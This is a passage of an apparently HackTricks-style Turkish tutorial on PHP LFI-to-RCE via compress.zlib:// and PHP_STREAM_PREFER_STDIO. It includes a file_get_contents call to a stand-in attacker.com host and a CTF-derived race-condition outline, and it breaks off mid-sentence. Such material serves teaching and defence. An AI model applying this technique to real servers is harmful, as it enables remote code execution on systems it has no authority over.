# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure {{#include ../../banners/hacktricks-training.md}} ### `compress.zlib://` ve `PHP_STREAM_PREFER_STDIO` `compress.zlib://` protokolü kullanılarak açılan bir dosya, `PHP_STREAM_PREFER_STDIO` bayrağı ile, bağlantıya daha sonra gelen verileri aynı dosyaya yazmaya devam edebilir. Bu, şu şekilde bir çağrının yapılabileceği anlamına gelir: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` http://attacker.com/file için bir istek göndereceğim, ardından sunucu isteğe geçerli bir HTTP yanıtı ile yanıt verebilir, bağlantıyı açık tutabilir ve daha sonra dosyaya yazılacak ek veriler gönderebilir. Bu bilgiyi php-src kodunun main/streams/cast.c kısmında görebilirsiniz: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### Yarış Durumu ile RCE [**Bu CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) önceki hile kullanılarak çözüldü. Saldırgan, **kurban sunucunun saldırganın sunucusundan bir dosya okuma bağlantısı açmasını** sağlayacak **`compress.zlib`** protokolünü kullanacaktır. **Bu** **bağlantı** var olduğu sürece, saldırgan **oluşturulan geçici dosyanın yolunu** **sızdıracaktır** (sunucu tarafından sızdırılmıştır). **Bağlantı** hala açıkken, saldırgan **kontrol ettiği geçici dosyayı yükleyerek bir LFI'yi istismar edecektir**. Ancak, web sunucusunda **`